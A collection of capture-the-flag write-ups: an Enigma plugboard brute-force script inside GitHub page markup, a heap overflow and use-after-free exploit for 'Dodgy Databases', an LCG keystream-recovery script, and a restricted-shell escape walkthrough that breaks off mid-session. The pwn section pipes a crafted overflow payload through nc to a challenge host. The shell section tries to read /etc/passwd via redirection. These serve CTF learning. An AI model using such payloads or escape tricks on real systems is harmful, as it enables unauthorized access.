1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" class="d-flex flex-column flex-auto overflow-auto" tabindex=""> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/MOCSCTF/CTF-Write-UP/refs" cache-key="v0:1603718772.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="TU9DU0NURi9DVEYtV3JpdGUtVVA=" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" class="d-flex flex-column flex-auto overflow-auto" tabindex="" hidden> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/MOCSCTF/CTF-Write-UP/refs" cache-key="v0:1603718772.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="TU9DU0NURi9DVEYtV3JpdGUtVVA=" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-Write-UP</span></span></span><span>/</span><span><span>Crypto</span></span><span>/</span>RTLXHA2021 - WWII Code<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-Write-UP</span></span></span><span>/</span><span><span>Crypto</span></span><span>/</span>RTLXHA2021 - WWII Code<span>/</span></div> <div class="Box mb-3"> <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-1 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/MOCSCTF/CTF-Write-UP/tree-commit/c8b83ef18ad8d4e33501cfeb18eeb50a3d0216e1/Crypto/RTLXHA2021%20-%20WWII%20Code" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path fill-rule="evenodd" d="M1.643 3.143L.427 1.927A.25.25 0 000 2.104V5.75c0 .138.112.25.25.25h3.646a.25.25 0 00.177-.427L2.715 4.215a6.5 6.5 0 11-1.18 4.458.75.75 0 10-1.493.154 8.001 8.001 0 101.6-5.684zM7.75 4a.75.75 0 01.75.75v2.992l2.028.812a.75.75 0 01-.557 1.392l-2.5-1A.75.75 0 017 8.25v-3.5A.75.75 0 017.75 4z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/MOCSCTF/CTF-Write-UP/file-list/master/Crypto/RTLXHA2021%20-%20WWII%20Code"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details"> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block" data-pjax> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>README.MD</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> <readme-toc> <div id="readme" class="Box MD js-code-block-container Box--responsive"> <div class="d-flex js-sticky js-position-sticky top-0 border-top-0 border-bottom p-2 flex-items-center flex-justify-between color-bg-default rounded-top-2" style="position: sticky; z-index: 30;" > <div class="d-flex flex-items-center"> <details data-target="readme-toc.trigger" data-menu-hydro-click="{"event_type":"repository_toc_menu.click","payload":{"target":"trigger","repository_id":295290832,"originating_url":"https://github.com/MOCSCTF/CTF-Write-UP/tree/master/Crypto/RTLXHA2021%20-%20WWII%20Code","user_id":null}}" data-menu-hydro-click-hmac="67da2422658539235ee209d5b7dd1ae88a0252a235039c564570c89cae595186" class="dropdown details-reset details-overlay"> <summary class="btn btn-octicon m-0 mr-2 p-2" aria-haspopup="true" aria-label="Table of Contents"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-list-unordered"> <path fill-rule="evenodd" d="M2 4a1 1 0 100-2 1 1 0 000 2zm3.75-1.5a.75.75 0 000 1.5h8.5a.75.75 0 000-1.5h-8.5zm0 5a.75.75 0 000 1.5h8.5a.75.75 0 000-1.5h-8.5zm0 5a.75.75 0 000 1.5h8.5a.75.75 0 000-1.5h-8.5zM3 8a1 1 0 11-2 0 1 1 0 012 0zm-1 6a1 1 0 100-2 1 1 0 000 2z"></path></svg> </summary> <details-menu class="SelectMenu" role="menu"> <div class="SelectMenu-modal rounded-3 mt-1" style="max-height:340px;"> <div class="SelectMenu-list SelectMenu-list--borderless p-2" style="overscroll-behavior: contain;"> RTLXHA2021 - WWII Code? Question: Write up </div> </div> </details-menu></details> <h2 class="Box-title"> README.MD </h2> </div> </div> <div class="Popover anim-scale-in js-tagsearch-popover" hidden data-tagsearch-url="/MOCSCTF/CTF-Write-UP/find-definition" data-tagsearch-ref="master" data-tagsearch-path="Crypto/RTLXHA2021 - WWII Code/README.MD" data-tagsearch-lang="Markdown" data-hydro-click="{"event_type":"code_navigation.click_on_symbol","payload":{"action":"click_on_symbol","repository_id":295290832,"ref":"master","language":"Markdown","originating_url":"https://github.com/MOCSCTF/CTF-Write-UP/tree/master/Crypto/RTLXHA2021%20-%20WWII%20Code","user_id":null}}" data-hydro-click-hmac="9ef5e8a2826537c1fd7e59c22e466066367ab03a4539099f5f54fb77dec0b4bd"> <div class="Popover-message Popover-message--large Popover-message--top-left TagsearchPopover mt-1 mb-4 mx-auto Box color-shadow-large"> <div class="TagsearchPopover-content js-tagsearch-popover-content overflow-auto" style="will-change:transform;"> </div> </div></div> <div data-target="readme-toc.content" class="Box-body px-5 pb-5"> <article class="markdown-body entry-content container-lg" itemprop="text"><h1><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg>RTLXHA2021 - WWII Code?</h1>Write-Up Author: RB916120 [MOCTF]Flag:RTL{3nigm@_1s_th3_w@y_t0_g0}<h2><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg>Question:</h2>WWII Code?<blockquote>Thehackerscrew are back! They have encrypted their message with a more advanced type of encryption.We have intercepted this information in this specific order: Message: dvk{3ynxc@_1h_zd3_l@b_u0_u0} M3 UKW B VII 3 2 VII 16 3 VIII 6 3 eb ch af gd ij kp mn oz …We have also found out that they have left out 4 plugboard partners. What does this mean? Can you solve this? Flag format is RTL{flag}Author: RJCyber</blockquote><h2><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg>Write up</h2>the format of the cipher absolutely is enigma machine which is using by German in WII.but the chall asking for the left out 4 plugboard partners.so,below script would brute force each plugboard combination, there will many result returned with RTL.this writeup just for record the way to bruteforce something for enigma machine.<div class="highlight highlight-source-python position-relative overflow-auto" data-snippet-clipboard-copy-content="from enigma.machine import EnigmaMachinefrom itertools import permutationsimport string"""dvk{3ynxc@_1h_zd3_l@b_u0_u0} M3 UKW B VII 3 2 VII 16 3 VIII 6 3 eb ch af gd ij kp mn oz ...https://www.cryptomuseum.com/crypto/enigma/wiring.htm Write-Up Author: RB916120 [MOCTF] Flag:RTL{3nigm@_1s_th3_w@y_t0_g0} WWII Code? Thehackerscrew are back! They have encrypted their message with a more advanced type of encryption. We have intercepted this information in this specific order: Message: dvk{3ynxc@_1h_zd3_l@b_u0_u0} M3 UKW B VII 3 2 VII 16 3 VIII 6 3 eb ch af gd ij kp mn oz … We have also found out that they have left out 4 plugboard partners. What does this mean? Can you solve this? Flag format is RTL{flag}Author: RJCyber the format of the cipher absolutely is enigma machine which is using by German in WII.but the chall asking for the left out 4 plugboard partners.so,below script would brute force each plugboard combination, there will many result returned with RTL.this writeup just for record the way to bruteforce something for enigma machine. have to modify the plugboard.py MAX_PAIRS = 20 in python package """cipher="dvk{3ynxc@_1h_zd3_l@b_u0_u0}".upper()pb="eb ch af gd ij kp mn oz ".upper() all=[]word_list=""for i in string.ascii_uppercase: if i not in pb.replace(" ",""): word_list=word_list+i for i in permutations(word_list,8): ppb=pb+i[0]+i[1]+" "+i[2]+i[3]+" "+i[4]+i[5]+" "+i[6]+i[7] print(ppb.upper()) machine = EnigmaMachine.from_key_sheet( rotors='VII VII VIII', reflector='B', # ring setting count from 0 ring_settings=[1,2,2], plugboard_settings=ppb) # set the init position of the ring machine.set_display('CPF') ans="" for v in cipher: if v.isalpha(): ans=ans+machine.process_text(v) else: ans=ans+v print(ans) if "RTL" in ans: print("Plugboard is : "+ppb) print("Flag: " + ans) all.append(ans) print("\n".join(all))"><span>from</span> <span>enigma</span>.<span>machine</span> <span>import</span> <span>EnigmaMachine</span><span>from</span> <span>itertools</span> <span>import</span> <span>permutations</span><span>import</span> <span>string</span><span>"""</span><span>dvk{3ynxc@_1h_zd3_l@b_u0_u0} M3 UKW B VII 3 2 VII 16 3 VIII 6 3 eb ch af gd ij kp mn oz ...</span><span>https://www.cryptomuseum.com/crypto/enigma/wiring.htm</span><span></span><span>have to modify the plugboard.py MAX_PAIRS = 20 in python package</span><span></span><span>"""</span><span>cipher</span><span>=</span><span>"dvk{3ynxc@_1h_zd3_l@b_u0_u0}"</span>.<span>upper</span>()<span>pb</span><span>=</span><span>"eb ch af gd ij kp mn oz "</span>.<span>upper</span>() <span>all</span><span>=</span>[]<span>word_list</span><span>=</span><span>""</span><span>for</span> <span>i</span> <span>in</span> <span>string</span>.<span>ascii_uppercase</span>: <span>if</span> <span>i</span> <span>not</span> <span>in</span> <span>pb</span>.<span>replace</span>(<span>" "</span>,<span>""</span>): <span>word_list</span><span>=</span><span>word_list</span><span>+</span><span>i</span> <span>for</span> <span>i</span> <span>in</span> <span>permutations</span>(<span>word_list</span>,<span>8</span>): <span>ppb</span><span>=</span><span>pb</span><span>+</span><span>i</span>[<span>0</span>]<span>+</span><span>i</span>[<span>1</span>]<span>+</span><span>" "</span><span>+</span><span>i</span>[<span>2</span>]<span>+</span><span>i</span>[<span>3</span>]<span>+</span><span>" "</span><span>+</span><span>i</span>[<span>4</span>]<span>+</span><span>i</span>[<span>5</span>]<span>+</span><span>" "</span><span>+</span><span>i</span>[<span>6</span>]<span>+</span><span>i</span>[<span>7</span>] <span>print</span>(<span>ppb</span>.<span>upper</span>()) <span>machine</span> <span>=</span> <span>EnigmaMachine</span>.<span>from_key_sheet</span>( <span>rotors</span><span>=</span><span>'VII VII VIII'</span>, <span>reflector</span><span>=</span><span>'B'</span>, <span># ring setting count from 0</span> <span>ring_settings</span><span>=</span>[<span>1</span>,<span>2</span>,<span>2</span>], <span>plugboard_settings</span><span>=</span><span>ppb</span>) <span># set the init position of the ring</span> <span>machine</span>.<span>set_display</span>(<span>'CPF'</span>) <span>ans</span><span>=</span><span>""</span> <span>for</span> <span>v</span> <span>in</span> <span>cipher</span>: <span>if</span> <span>v</span>.<span>isalpha</span>(): <span>ans</span><span>=</span><span>ans</span><span>+</span><span>machine</span>.<span>process_text</span>(<span>v</span>) <span>else</span>: <span>ans</span><span>=</span><span>ans</span><span>+</span><span>v</span> <span>print</span>(<span>ans</span>) <span>if</span> <span>"RTL"</span> <span>in</span> <span>ans</span>: <span>print</span>(<span>"Plugboard is : "</span><span>+</span><span>ppb</span>) <span>print</span>(<span>"Flag: "</span> <span>+</span> <span>ans</span>) <span>all</span>.<span>append</span>(<span>ans</span>) <span>print</span>(<span>"<span>\n</span>"</span>.<span>join</span>(<span>all</span>))</div></article> </div> </div> </readme-toc> </div> </div></div> </main> </div> </div> <div class="footer container-xl width-full p-responsive" role="contentinfo"> <div class="position-relative d-flex flex-row-reverse flex-lg-row flex-wrap flex-lg-nowrap flex-justify-center flex-lg-justify-between pt-6 pb-2 mt-6 f6 color-fg-muted border-top color-border-muted "> © 2021 GitHub, Inc. Terms Privacy Security Status Docs <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> Contact GitHub Pricing API Training Blog About </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></div> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-text-success d-none m-2"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> </clipboard-copy> </div></template> </body></html>
[Link to original writeup](https://github.com/babaiserror/ctf/tree/main/%5B210813-16%5D%20ReallyAwesomeCTF%202021#dodgy-databases-pwnreversing-350-pts) We're conveniently given the source code. Reading through it, a `User` struct consists of `name[USERNAME_LEN]; Role role;`; `USERNAME_LEN` is 20. There are three roles - `ROLE_USER`, `ROLE_ADMIN`, and `ROLE_GOD = 0xBEEFACAFE`. When `users_register_user` is called, if the `admin` is `ROLE_GOD`, then it will print out the flag. `user_create` creates a user by allocating memory on the heap. The `main` function takes an input of `username` that is 30 characters long. Then, it creates an admin user; when it checks that there is no such user in the database as given in the input, it will `free(admin)`, `user_create(username)`, and `users_register_user(users, admin, user)`. Alright, we can overwrite our user's role because the struct has 20 characters for the name and the rest for the role, whereas our input string is 30 bytes. Moreover, `admin` is freed and used; it's a use-after-free. After freeing admin, the database conveniently creates a user, which is likely to create that user where the admin was previously at. Because of the first vulnerability, we can control the role of the admin and the user given as arguments for `users_register_user`; also, if the admin has the role `ROLE_GOD`, then it will spit out the flag. ```$ echo -e 'AAAAAAAAAAAAAAAAAAAA\xfe\xca\xef\xbe' | nc 193.57.159.27 44340Hi, welcome to my users database.Please enter a user to register: ractf{w0w_1_w0nD3r_wH4t_free(admin)_d0e5}```
[link to original writeup](https://github.com/babaiserror/ctf/tree/main/%5B210813-16%5D%20ReallyAwesomeCTF%202021#lego-car-generator-pwnreversing-350-pts) The encrypter takes an input and an output. It also generates a 4-byte random number, xor's it with the 4 bytes of the input; then, using `rngNext32`, it generates the next random number to xor with the next 4 bytes of the input, and so on. LCG, the acronym for the challenge, also stands for Linear Congruential Generator, which is a type of pseudonumber generator. It is also how `rngNext32` generates the next number: ```void rngNext32(int *param_1){ *param_1 = *param_1 * 0x17433a5b + -0x481e7b5d; return;}``` Finally, we know the first 4 bytes of the flag (6 to be exact, but we don't need that much) - `'ract'`. We can figure out the original seed used for the encryption of `secret` by xoring the secret and the first four bytes of the flag. Using the secret, we can get the next random number used for encryption, and so on, to get the full flag. code: ```pywith open('secret', 'rb') as f: get_seed = True data = f.read(4) flag = b'ract' seedb = b'' while data: if get_seed: # figure out seed for i in range(4): seedb += (flag[i]^data[i]).to_bytes(1,'big') seed = int.from_bytes(seedb, 'big') get_seed = False else: # get flag seedb = seed.to_bytes(4, 'big') for i in range(len(data)): flag += (seedb[i]^data[i]).to_bytes(1,'big') seed = (seed*0x17433a5b-0x481e7b5d)&0xFFFFFFFF data = f.read(4)print(flag)```
## RACTF - Missing Tools / Misc [ 250 points ] ( 164 solves )**Description** > Man, my friend broke his linux install pretty darn bad. He can only use like, 4 commands. Can you take a look and see if you can recover at least some of his data?> Username: `ractf` > Password: `8POlNixzDSThy` > Note: it may take a minute or more for your container to start depending on load## General overviewThe challenge gives you an IP where is enabled an ssh port where you can connect to it with the credentials provided in challenge's description. When you connect with ssh it seems, the shell is sandboxed and most of the important commands are either disabled or not installed in the system. ## SolutionFirst we connect to the provided IP with ssh: [email protected]'s password: Linux restricted shell $ $ ls This command has been disabled by your administrator. $ cat /flag.txt This command has been disabled by your administrator. $ Trying simple commands like ls or cat they are seem to be disabled and we can't use them. After trying some other basic linux commands to find out what commands i am allowed to run and which i don't i found `whoami, file, sh, pwd, sleep, echo` i am allowed to run but none of them are useful. $ whoami ractf $ pwd /home/ractf $ file /home/ractf /home/ractf: directory $ sleep 2 $ $ echo "hello" hello $ echo < /etc/passwd $ echo <(/etc/passwd) -sh: -sh /proc/self/fd/3 $ echo $(</etc/passwd) -sh: -sh $ echo $HOME /home/ractf $ I saw that i could read environment variables so i tried to dump some of them $ echo $0 -sh $ echo $@ $ echo $SHELL /bin/sh $ file /bin/sh /bin/sh: symbolic link to /opt/toyboxSo i found /bin/sh is pointing to a different shell and not the classic bash.But before that i wanted to print the environment variables and i thought if it is a shell that is supporting bash style syntax it must support bash's builtins commands so i started to try them all $ myvar=5 $ echo $myvar 5 $ eval echo $myvar 5 $ eval $((7+7)) TODO: do math for 7+7 <-- WEIRD??? eval: ((7+7)): No such file or directory $ local -sh: local: No such file or directory $ printf -sh: printf: No such file or directory $ dirs -sh: dirs: No such file or directory $ export declare - "=1" declare - "=/home/ractf/-sh" declare - "=/home/ractf" declare - 